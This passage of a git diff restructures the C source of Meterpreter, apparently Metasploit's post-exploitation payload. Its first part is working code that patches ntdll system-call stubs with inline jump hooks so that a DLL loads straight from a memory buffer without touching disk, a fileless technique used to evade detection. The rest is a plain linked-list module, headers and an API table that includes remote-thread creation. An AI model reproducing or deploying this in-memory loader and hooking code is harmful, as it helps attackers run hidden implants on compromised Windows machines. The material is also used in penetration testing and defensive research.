POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions) +{ + if (!find_string(ctx, ObjectAttributes->ObjectName)) + { + *FileHandle = (PVOID)ctx->mapped_address; + return; + } + + ctx->p_NtOpenFile( + FileHandle, + DesiredAccess, + ObjectAttributes, + IoStatusBlock, + ShareAccess, + OpenOptions); + + return; +} + +/* NtCreateSection hook */ +NTSTATUS NTAPI m_NtCreateSection( + PHANDLE SectionHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PLARGE_INTEGER MaximumSize, + ULONG PageAttributes, + ULONG SectionAttributes, + HANDLE FileHandle) +{ + if (FileHandle == (HANDLE)ctx->mapped_address) + { + *SectionHandle = (PVOID)ctx->mapped_address; + return STATUS_SUCCESS; + } + + return ctx->p_NtCreateSection( + SectionHandle, + DesiredAccess, + ObjectAttributes, + MaximumSize, + PageAttributes, + SectionAttributes, + FileHandle); +} + + +/* NtMapViewOfSection hook */ +NTSTATUS NTAPI m_NtMapViewOfSection( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG ZeroBits, + ULONG CommitSize, + PLARGE_INTEGER SectionOffset, + PULONG ViewSize, + SECTION_INHERIT InheritDisposition, + ULONG AllocationType, + ULONG Protect) +{ + if (SectionHandle == (HANDLE)ctx->mapped_address) + { + *BaseAddress = (PVOID)ctx->mapped_address; + *ViewSize = ctx->size_map; + + /* We assume that the image must be relocated */ + return STATUS_IMAGE_NOT_AT_BASE; + } + + return ctx->p_NtMapViewOfSection( + SectionHandle, + ProcessHandle, + BaseAddress, + ZeroBits, + CommitSize, + SectionOffset, + ViewSize, + InheritDisposition, + AllocationType, + Protect); +} + +/* NtClose hook */ +NTSTATUS NTAPI m_NtClose( + HANDLE Handle) +{ + + if (Handle == (HANDLE)ctx->mapped_address) + { + return STATUS_SUCCESS; + } + + return ctx->p_NtClose(Handle); +} + +/* Patch given function */ +void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub, + unsigned char *hook) +{ + DWORD protect; + ULONG bytes; + SIZE_T written; + MEMORY_BASIC_INFORMATION mbi_thunk; + + /* + * Most native NT functions begin with stub like this: + * + * 00000000 B82B000000 mov eax,0x2b ; syscall + * 00000005 8D542404 lea edx,[esp+0x4] ; arguments + * 00000009 CD2E int 0x2e ; interrupt + * + * In offset 0, the actual system call is saved in eax. Syscall + * is 32 bit number (!) so we can assume 5 bytes of preamble size + * for each function.. If there's need to hook other functions, + * a complete disassembler is needed for preamble size counting. + * + */ + bytes = 5; + + /* Create the stub */ + WriteProcessMemory((HANDLE)-1, stub, (char *)address, + bytes, &written); + *(PBYTE)(stub + bytes) = 0xE9; + *(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5); + + + /* Patch original function */ + + /* Fix protection */ + VirtualQuery((char *)address, &mbi_thunk, + sizeof(MEMORY_BASIC_INFORMATION)); + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); + + /* Insert jump */ + *(PBYTE)address = 0xE9; + *(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5); + + + /* Restore protection */ + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + mbi_thunk.Protect, &protect); + FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, + mbi_thunk.RegionSize); + +} + +/* Install hooks, fix addresses */ +void install_hooks(SHELLCODE_CTX *ctx) +{ + f_NtMapViewOfSection lNtMapViewOfSection; + f_NtQueryAttributesFile lNtQueryAttributesFile; + f_NtOpenFile lNtOpenFile; + f_NtCreateSection lNtCreateSection; + f_NtOpenSection lNtOpenSection; + f_NtClose lNtClose; + HMODULE ntdll; + + if (!(ntdll = LoadLibrary(TEXT("ntdll")))) + { + return; + } + + lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); + lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); + lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); + lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); + lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); + lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); + + /* NtMapViewOfSection */ + + /* Patch */ + patch_function(ctx, (UINT_PTR)lNtMapViewOfSection, + ctx->s_NtMapViewOfSection, + (unsigned char *)m_NtMapViewOfSection); + + /* Copy pointer */ + ctx->p_NtMapViewOfSection = + (f_NtMapViewOfSection)ctx->s_NtMapViewOfSection; + + /* NtQueryAttributesFile */ + patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile, + ctx->s_NtQueryAttributesFile, + (unsigned char *)m_NtQueryAttributesFile); + ctx->p_NtQueryAttributesFile = + (f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile; + + /* NtOpenFile */ + patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile, + (unsigned char *)m_NtOpenFile); + ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile; + + /* NtCreateSection */ + patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection, + (unsigned char *)m_NtCreateSection); + ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection; + + /* NtOpenSection */ + patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection, + (unsigned char *)m_NtOpenSection); + ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection; + + /* NtClose */ + patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose, + (unsigned char *)m_NtClose); + ctx->p_NtClose = (f_NtClose)ctx->s_NtClose; + +} + +/* Restore given function */ +void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) +{ + DWORD protect; + ULONG bytes; + SIZE_T written; + MEMORY_BASIC_INFORMATION mbi_thunk; + + bytes = 5; + + /* Patch original function */ + + /* Fix protection */ + VirtualQuery((char *)address, &mbi_thunk, + sizeof(MEMORY_BASIC_INFORMATION)); + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); + + /* Copy bytes back to function */ + WriteProcessMemory((HANDLE)-1, (char *)address, stub, + bytes, &written); + + /* Restore protection */ + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + mbi_thunk.Protect, &protect); + FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, + mbi_thunk.RegionSize); + +} + +/* Remove hooks */ +void remove_hooks(SHELLCODE_CTX *ctx) +{ + f_NtMapViewOfSection lNtMapViewOfSection; + f_NtQueryAttributesFile lNtQueryAttributesFile; + f_NtOpenFile lNtOpenFile; + f_NtCreateSection lNtCreateSection; + f_NtOpenSection lNtOpenSection; + f_NtClose lNtClose; + HMODULE ntdll; + + if (!(ntdll = LoadLibraryA("ntdll"))) + { + return; + } + + lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); + lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); + lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); + lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); + lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); + lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); + + /* NtMapViewOfSection */ + restore_function(ctx, (DWORD)lNtMapViewOfSection, + ctx->s_NtMapViewOfSection); + + /* NtQueryAttributesFile */ + restore_function(ctx, (DWORD)lNtQueryAttributesFile, + ctx->s_NtQueryAttributesFile); + + /* NtOpenFile */ + restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile); + + /* NtCreateSection */ + restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection); + + /* NtOpenSection */ + restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection); + + /* NtClose */ + restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose); +} + +/* Map file in memory as section */ +void map_file(SHELLCODE_CTX *ctx) +{ + PIMAGE_NT_HEADERS nt; + PIMAGE_DOS_HEADER dos; + PIMAGE_SECTION_HEADER sect; + int i; + + dos = (PIMAGE_DOS_HEADER)ctx->file_address; + nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew); + + /* + * Allocate space for the mapping + * First, try to map the file at ImageBase + * + */ + ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, + nt->OptionalHeader.SizeOfImage, + MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + + /* No success, let the system decide.. */ + if (ctx->mapped_address == 0) { + ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL, + nt->OptionalHeader.SizeOfImage, + MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + } + + ctx->size_map = nt->OptionalHeader.SizeOfImage; + + /* Lock the mapping in memory */ + { + ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG); + + NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress( + GetModuleHandleA("ntdll"), + "NtLockVirtualMemory"); + + if (NtLockVirtualMemory) + { + PVOID base = (PVOID)ctx->mapped_address; + ULONG sz = nt->OptionalHeader.SizeOfImage; + + NtLockVirtualMemory( + (HANDLE)-1, + &base, + &sz, + 1); + } + } + + /* Write headers */ + WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, + (LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0); + + /* Write sections */ + sect = IMAGE_FIRST_SECTION(nt); + for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { + WriteProcessMemory((HANDLE)-1, + (PCHAR)ctx->mapped_address + sect[i].VirtualAddress, + (PCHAR)ctx->file_address + sect[i].PointerToRawData, + sect[i].SizeOfRawData, 0); + } + +} + +/* + * Load a library in-memory from the provided buffer. + */ +HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength) +{ + LPCSTR shortName = name, slash = NULL; + HMODULE mod = NULL; + + if ((slash = strrchr(name, '\\'))) + shortName = slash+1; + + ctx = (SHELLCODE_CTX *)VirtualAlloc( + NULL, + sizeof(SHELLCODE_CTX), + MEM_COMMIT, + PAGE_EXECUTE_READWRITE); + + if (!ctx) + return NULL; + + install_hooks(ctx); + + do + { + // The name of the library to load it as + strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1); + ctx->liblen = (int)strlen(ctx->libname) + 1; + + // The address of the raw buffer + ctx->file_address = (DWORD)buffer; + + // Map the buffer into memory + map_file(ctx); + + // Load the fake library + if (!(mod = LoadLibraryA(ctx->libname))) + { + break; + } + + } while (0); + + remove_hooks(ctx); + + VirtualFree(ctx, 0, MEM_RELEASE); + + return mod; +} diff --git a/c/meterpreter/source/metsrv/libloader.h b/c/meterpreter/source/metsrv/libloader.h new file mode 100644 index 00000000..a67254d1 --- /dev/null +++ b/c/meterpreter/source/metsrv/libloader.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_METSRV_LIBLOADER_H +#define _METERPRETER_METSRV_LIBLOADER_H + +HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength); + +#endif diff --git a/c/meterpreter/source/common/list.c b/c/meterpreter/source/metsrv/list.c old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/common/list.c rename to c/meterpreter/source/metsrv/list.c index f23efd57..97a234ac --- a/c/meterpreter/source/common/list.c +++ b/c/meterpreter/source/metsrv/list.c @@ -1,457 +1,457 @@ -/*! - * @file list.c - * @brief Definitions for functions that operate on lists. - * @details An implementation of a simple thread safe double linked list structure. Can be used as either - * a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If - * performing a group of actions on a list based on results from list actions, acquire the list - * lock before the group of actions and release lock when done. - */ -#include "common.h" - -/*! - * @brief Create a thread-safe double linked list. - * @returns A new instance of a linked list. - * @retval NULL Indicates a memory allocation failure. - */ -PLIST list_create(VOID) -{ - PLIST pList = (PLIST)malloc(sizeof(LIST)); - - if (pList != NULL) - { - pList->start = NULL; - pList->end = NULL; - pList->count = 0; - pList->lock = lock_create(); - - if (pList->lock == NULL) - { - list_destroy(pList); - return NULL; - } - } - return pList; -} - -/*! - * @brief Destroy an existing linked list. - * @details This destroys all nodes and the list itself but not the data held in the - * linked list. This is the responsibility of the caller to destroy. - * @param list The \c LIST instance to destroy. - */ -VOID list_destroy(PLIST pList) -{ - PNODE current_node; - PNODE next_node; - - if (pList != NULL) - { - lock_acquire(pList->lock); - - current_node = pList->start; - - while (current_node != NULL) - { - next_node = current_node->next; - - current_node->next = NULL; - - current_node->prev = NULL; - - free(current_node); - - current_node = next_node; - } - - pList->count = 0; - - lock_release(pList->lock); - - lock_destroy(pList->lock); - - free(pList); - } -} - -/*! - * @brief Get the number of items in the list. - * @param pList The \c LIST to get a count of. - * @returns The number of elements in the list. - * @remark If using this coung value to itterate through the list with `list_get`, acquire - * the lists lock before the `list_count/list_get` block and release it afterwards. - */ -DWORD list_count(PLIST pList) -{ - DWORD count = 0; - - if (pList != NULL) - { - lock_acquire(pList->lock); - - count = pList->count; - - lock_release(pList->lock); - } - - return count; -} - -/*! - * @brief Get the data value held in the list and a specified index. - * @param pList Pointer to the \c LIST to get the element from. - * @param index Index of the element to get; - * @returns Pointer to the item in the list. - * @retval NULL Indicates the element doesn't exist in the list. - * @remark This will perform a linear search from the beginning of the list. - */ -LPVOID list_get(PLIST pList, DWORD index) -{ - LPVOID data = NULL; - PNODE current_node = NULL; - - if (pList == NULL) - return NULL; - - lock_acquire(pList->lock); - - if (pList->count <= index) - { - lock_release(pList->lock); - return NULL; - } - - current_node = pList->start; - - while (current_node != NULL) - { - if (index == 0) - { - break; - } - - current_node = current_node->next; - - index--; - } - - if (current_node != NULL) - { - data = current_node->data; - } - - lock_release(pList->lock); - - return data; -} - -/*! - * @brief Add a data item onto the end of the list. - * @param pList Pointer to the \c LIST to add the item to. - * @param data The data that is to be added to the list. - * @returns Indication of success or failure. - * @sa list_push - */ -BOOL list_add(PLIST pList, LPVOID data) -{ - return list_push(pList, data); -} - -/*! - * @brief Internal function to remove a node from a list. - * @param pList Pointer to the \c LIST containing \c node. - * @param pNode Pointer to the \c NOTE to remove. - * @returns Indication of success or failure. - * @remark Assumes caller has aquired the appropriate lock first. - */ -BOOL list_remove_node(PLIST pList, PNODE pNode) -{ - if (pList == NULL || pNode == NULL) - { - return FALSE; - } - - if (pList->count - 1 == 0) - { - pList->start = NULL; - pList->end = NULL; - } - else - { - if (pList->start == pNode) - { - pList->start = pList->start->next; - pList->start->prev = NULL; - } - else if (pList->end == pNode) - { - pList->end = pList->end->prev; - pList->end->next = NULL; - } - else - { - pNode->next->prev = pNode->prev; - pNode->prev->next = pNode->next; - } - } - - pList->count -= 1; - - pNode->next = NULL; - - pNode->prev = NULL; - - free(pNode); - - return TRUE; -} - -/*! - * @brief Remove a given data item from the list. - * @param pList Pointer to the \c LIST to remove the item from. - * @param data The data that is to be removed from the list. - * @remark Assumes data items are unqique as only the first occurrence is removed. - * @returns Indication of success or failure. - * @sa list_remove_node - */ -BOOL list_remove(PLIST pList, LPVOID data) -{ - BOOL result = FALSE; - PNODE current_node = NULL; - - if (pList == NULL || data == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - current_node = pList->start; - - while (current_node != NULL) - { - if (current_node->data == data) - { - break; - } - - current_node = current_node->next; - } - - result = list_remove_node(pList, current_node); - - lock_release(pList->lock); - - return result; -} - -/*! - * @brief Remove a list item at the specified index. - * @param pList Pointer to the \c LIST to remove the item from. - * @param index Index of the item to remove. - * @returns Indication of success or failure. - */ -BOOL list_delete(PLIST pList, DWORD index) -{ - BOOL result = FALSE; - LPVOID data = NULL; - PNODE current_node = NULL; - - if (pList == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - if (pList->count > index) - { - current_node = pList->start; - - while (current_node != NULL) - { - if (index == 0) - { - result = list_remove_node(pList, current_node); - break; - } - - current_node = current_node->next; - - index--; - } - } - - lock_release(pList->lock); - - return result; -} - -/*! - * @brief Clear the contents of the list - * @param pList Pointer to the \c LIST to clear. - * @param pFunc Pointer to the function to run on each data node (if any). - * @returns Indication of success or failure. - */ -BOOL list_clear(PLIST pList, PCLEARFUNC pFunc) -{ - PNODE pNode = NULL; - PNODE pFree = NULL; - - if (pList == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - pNode = pList->start; - while (pNode != NULL) - { - if (pFunc) - { - pFunc(pNode->data); - } - - pFree = pNode; - pNode = pNode->next; - free(pFree); - } - - pList->start = pList->end = NULL; - - lock_release(pList->lock); - - return TRUE; -} - -/*! - * @brief Push a data item onto the end of the list. - * @param pList Pointer to the \c LIST to append the data to. - * @param data Pointer to the data to append. - * @returns Indication of success or failure. - */ -BOOL list_push(PLIST pList, LPVOID data) -{ - PNODE pNode = NULL; - - if (pList == NULL) - return FALSE; - - pNode = (PNODE)malloc(sizeof(NODE)); - if (pNode == NULL) - { - return FALSE; - } - - pNode->data = data; - pNode->next = NULL; - pNode->prev = NULL; - - lock_acquire(pList->lock); - - if (pList->end != NULL) - { - pList->end->next = pNode; - - pNode->prev = pList->end; - - pList->end = pNode; - } - else - { - pList->start = pNode; - pList->end = pNode; - } - - pList->count += 1; - - lock_release(pList->lock); - - return TRUE; -} - -/*! - * @brief Pop a data value off the end of the list. - * @param pList Pointer to the \c LIST to pop the value from. - * @returns The popped value. - * @retval NULL Indicates no data in the list. - */ -LPVOID list_pop(PLIST pList) -{ - LPVOID data = NULL; - - if (pList == NULL) - { - return NULL; - } - - lock_acquire(pList->lock); - - if (pList->end != NULL) - { - data = pList->end->data; - - list_remove_node(pList, pList->end); - } - - lock_release(pList->lock); - - return data; -} - -/*! - * @brief Pop a data value off the start of the list. - * @param pList Pointer to the \c LIST to shift the value from. - * @returns The shifted value. - * @retval NULL Indicates no data in the list. - */ -LPVOID list_shift(PLIST pList) -{ - LPVOID data = NULL; - - if (pList == NULL) - { - return NULL; - } - - lock_acquire(pList->lock); - - if (pList->start != NULL) - { - data = pList->start->data; - - list_remove_node(pList, pList->start); - } - - lock_release(pList->lock); - - return data; -} - -/*! - * @brief Iterate over the list and call a function callback on each element. - * @param pList Pointer to the \c LIST to enumerate. - * @param pCallback Callback function to invoke for each element in the list. - * @param pState Pointer to the state to pass with each function call. - */ -BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState) -{ - if (pList == NULL || pCallback == NULL) - { - return FALSE; - } - - lock_acquire(pList->lock); - - PNODE pCurrent = pList->start; - BOOL bResult = FALSE; - - while (pCurrent != NULL) - { - bResult = pCallback(pState, pCurrent->data) || bResult; - pCurrent = pCurrent->next; - } - - lock_release(pList->lock); - return bResult; +/*! + * @file list.c + * @brief Definitions for functions that operate on lists. + * @details An implementation of a simple thread safe double linked list structure. Can be used as either + * a stack (via pop/push), a queue (via push/shift) or an array (via get/add/insert/remove). If + * performing a group of actions on a list based on results from list actions, acquire the list + * lock before the group of actions and release lock when done. + */ +#include "metsrv.h" + +/*! + * @brief Create a thread-safe double linked list. + * @returns A new instance of a linked list. + * @retval NULL Indicates a memory allocation failure. + */ +PLIST list_create(VOID) +{ + PLIST pList = (PLIST)malloc(sizeof(LIST)); + + if (pList != NULL) + { + pList->start = NULL; + pList->end = NULL; + pList->count = 0; + pList->lock = lock_create(); + + if (pList->lock == NULL) + { + list_destroy(pList); + return NULL; + } + } + return pList; +} + +/*! + * @brief Destroy an existing linked list. + * @details This destroys all nodes and the list itself but not the data held in the + * linked list. This is the responsibility of the caller to destroy. + * @param list The \c LIST instance to destroy. + */ +VOID list_destroy(PLIST pList) +{ + PNODE current_node; + PNODE next_node; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + next_node = current_node->next; + + current_node->next = NULL; + + current_node->prev = NULL; + + free(current_node); + + current_node = next_node; + } + + pList->count = 0; + + lock_release(pList->lock); + + lock_destroy(pList->lock); + + free(pList); + } +} + +/*! + * @brief Get the number of items in the list. + * @param pList The \c LIST to get a count of. + * @returns The number of elements in the list. + * @remark If using this coung value to itterate through the list with `list_get`, acquire + * the lists lock before the `list_count/list_get` block and release it afterwards. + */ +DWORD list_count(PLIST pList) +{ + DWORD count = 0; + + if (pList != NULL) + { + lock_acquire(pList->lock); + + count = pList->count; + + lock_release(pList->lock); + } + + return count; +} + +/*! + * @brief Get the data value held in the list and a specified index. + * @param pList Pointer to the \c LIST to get the element from. + * @param index Index of the element to get; + * @returns Pointer to the item in the list. + * @retval NULL Indicates the element doesn't exist in the list. + * @remark This will perform a linear search from the beginning of the list. + */ +LPVOID list_get(PLIST pList, DWORD index) +{ + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + return NULL; + + lock_acquire(pList->lock); + + if (pList->count <= index) + { + lock_release(pList->lock); + return NULL; + } + + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + break; + } + + current_node = current_node->next; + + index--; + } + + if (current_node != NULL) + { + data = current_node->data; + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Add a data item onto the end of the list. + * @param pList Pointer to the \c LIST to add the item to. + * @param data The data that is to be added to the list. + * @returns Indication of success or failure. + * @sa list_push + */ +BOOL list_add(PLIST pList, LPVOID data) +{ + return list_push(pList, data); +} + +/*! + * @brief Internal function to remove a node from a list. + * @param pList Pointer to the \c LIST containing \c node. + * @param pNode Pointer to the \c NOTE to remove. + * @returns Indication of success or failure. + * @remark Assumes caller has aquired the appropriate lock first. + */ +BOOL list_remove_node(PLIST pList, PNODE pNode) +{ + if (pList == NULL || pNode == NULL) + { + return FALSE; + } + + if (pList->count - 1 == 0) + { + pList->start = NULL; + pList->end = NULL; + } + else + { + if (pList->start == pNode) + { + pList->start = pList->start->next; + pList->start->prev = NULL; + } + else if (pList->end == pNode) + { + pList->end = pList->end->prev; + pList->end->next = NULL; + } + else + { + pNode->next->prev = pNode->prev; + pNode->prev->next = pNode->next; + } + } + + pList->count -= 1; + + pNode->next = NULL; + + pNode->prev = NULL; + + free(pNode); + + return TRUE; +} + +/*! + * @brief Remove a given data item from the list. + * @param pList Pointer to the \c LIST to remove the item from. + * @param data The data that is to be removed from the list. + * @remark Assumes data items are unqique as only the first occurrence is removed. + * @returns Indication of success or failure. + * @sa list_remove_node + */ +BOOL list_remove(PLIST pList, LPVOID data) +{ + BOOL result = FALSE; + PNODE current_node = NULL; + + if (pList == NULL || data == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + if (current_node->data == data) + { + break; + } + + current_node = current_node->next; + } + + result = list_remove_node(pList, current_node); + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Remove a list item at the specified index. + * @param pList Pointer to the \c LIST to remove the item from. + * @param index Index of the item to remove. + * @returns Indication of success or failure. + */ +BOOL list_remove_at(PLIST pList, DWORD index) +{ + BOOL result = FALSE; + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + if (pList->count > index) + { + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + result = list_remove_node(pList, current_node); + break; + } + + current_node = current_node->next; + + index--; + } + } + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Clear the contents of the list + * @param pList Pointer to the \c LIST to clear. + * @param pFunc Pointer to the function to run on each data node (if any). + * @returns Indication of success or failure. + */ +BOOL list_clear(PLIST pList, PCLEARFUNC pFunc) +{ + PNODE pNode = NULL; + PNODE pFree = NULL; + + if (pList == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + pNode = pList->start; + while (pNode != NULL) + { + if (pFunc) + { + pFunc(pNode->data); + } + + pFree = pNode; + pNode = pNode->next; + free(pFree); + } + + pList->start = pList->end = NULL; + + lock_release(pList->lock); + + return TRUE; +} + +/*! + * @brief Push a data item onto the end of the list. + * @param pList Pointer to the \c LIST to append the data to. + * @param data Pointer to the data to append. + * @returns Indication of success or failure. + */ +BOOL list_push(PLIST pList, LPVOID data) +{ + PNODE pNode = NULL; + + if (pList == NULL) + return FALSE; + + pNode = (PNODE)malloc(sizeof(NODE)); + if (pNode == NULL) + { + return FALSE; + } + + pNode->data = data; + pNode->next = NULL; + pNode->prev = NULL; + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + pList->end->next = pNode; + + pNode->prev = pList->end; + + pList->end = pNode; + } + else + { + pList->start = pNode; + pList->end = pNode; + } + + pList->count += 1; + + lock_release(pList->lock); + + return TRUE; +} + +/*! + * @brief Pop a data value off the end of the list. + * @param pList Pointer to the \c LIST to pop the value from. + * @returns The popped value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_pop(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + data = pList->end->data; + + list_remove_node(pList, pList->end); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Pop a data value off the start of the list. + * @param pList Pointer to the \c LIST to shift the value from. + * @returns The shifted value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_shift(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->start != NULL) + { + data = pList->start->data; + + list_remove_node(pList, pList->start); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Iterate over the list and call a function callback on each element. + * @param pList Pointer to the \c LIST to enumerate. + * @param pCallback Callback function to invoke for each element in the list. + * @param pState Pointer to the state to pass with each function call. + */ +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState) +{ + if (pList == NULL || pCallback == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + PNODE pCurrent = pList->start; + BOOL bResult = FALSE; + + while (pCurrent != NULL) + { + bResult = pCallback(pState, pCurrent->data) || bResult; + pCurrent = pCurrent->next; + } + + lock_release(pList->lock); + return bResult; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/list.h b/c/meterpreter/source/metsrv/list.h new file mode 100644 index 00000000..a5a0f57d --- /dev/null +++ b/c/meterpreter/source/metsrv/list.h @@ -0,0 +1,23 @@ +/*! + * @file list.h + * @brief Declarations for functions that operate on lists. + */ +#ifndef _METERPRETER_METSRV_LIST_H +#define _METERPRETER_METSRV_LIST_H + +#include "common_list.h" + +LIST * list_create(VOID); +VOID list_destroy(PLIST pList); +DWORD list_count(PLIST pList); +LPVOID list_get(PLIST pList, DWORD index); +BOOL list_clear(PLIST pList, PCLEARFUNC pFunc); +BOOL list_add(PLIST pList, LPVOID data); +BOOL list_remove(PLIST pList, LPVOID data); +BOOL list_remove_at(PLIST pList, DWORD index); +BOOL list_push(PLIST pList, LPVOID data); +LPVOID list_pop(PLIST pList); +LPVOID list_shift(PLIST pList); +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c new file mode 100644 index 00000000..21cd36bc --- /dev/null +++ b/c/meterpreter/source/metsrv/metapi.c @@ -0,0 +1,150 @@ +#include "metapi.h" +#include "unicode.h" +#include "remote_thread.h" +#include "base_inject.h" + +MetApi api_instance = { + // PacketApi + { + packet_get_tlv_value_bool, + packet_get_tlv_value_raw, + packet_add_completion_handler, + packet_add_exception, + packet_add_group, + packet_add_request_id, + packet_add_tlv_bool, + packet_add_tlv_group, + packet_add_tlv_qword, + packet_add_tlv_raw, + packet_add_tlv_string, + packet_add_tlv_uint, + packet_add_tlv_wstring, + packet_add_tlv_wstring_len, + packet_add_tlvs, + packet_call_completion_handlers, + packet_enum_tlv, + packet_get_tlv, + packet_get_tlv_group_entry, + packet_get_tlv_string, + packet_is_tlv_null_terminated, + packet_remove_completion_handler, + packet_transmit, + packet_transmit_empty_response, + packet_transmit_response, + packet_get_tlv_value_string, + packet_create, + packet_create_group, + packet_create_response, + packet_get_type, + packet_get_tlv_value_qword, + packet_get_tlv_meta, + packet_get_tlv_value_uint, + packet_destroy, + packet_get_tlv_value_wstring, + }, + // CommandApi + { + command_deregister_all, + command_register_all, + command_handle, + }, + // ThreadApi + { + thread_destroy, + thread_join, + thread_kill, + thread_run, + thread_sigterm, + thread_create, + thread_open, + create_remote_thread, + core_update_thread_token, + }, + // LockApi + { + lock_create, + lock_acquire, + lock_destroy, + lock_release, + }, + // EventApi + { + event_destroy, + event_poll, + event_signal, + event_create, + }, + // ChannelApi + { + channel_exists, + channel_is_interactive, + channel_is_flag, + channel_create, + channel_create_datagram, + channel_create_pool, + channel_create_stream, + channel_find_by_id, + channel_close, + channel_default_io_handler, + channel_get_class, + channel_get_id, + channel_interact, + channel_open, + channel_read, + channel_read_from_buffered, + channel_write, + channel_write_to_buffered, + channel_write_to_remote, + channel_get_native_io_context, + channel_get_type, + channel_get_buffered_io_context, + channel_get_flags, + channel_destroy, + channel_set_buffered_io_handler, + channel_set_flags, + channel_set_interactive, + channel_set_native_io_context, + channel_set_type, + }, + // SchedulerApi + { + 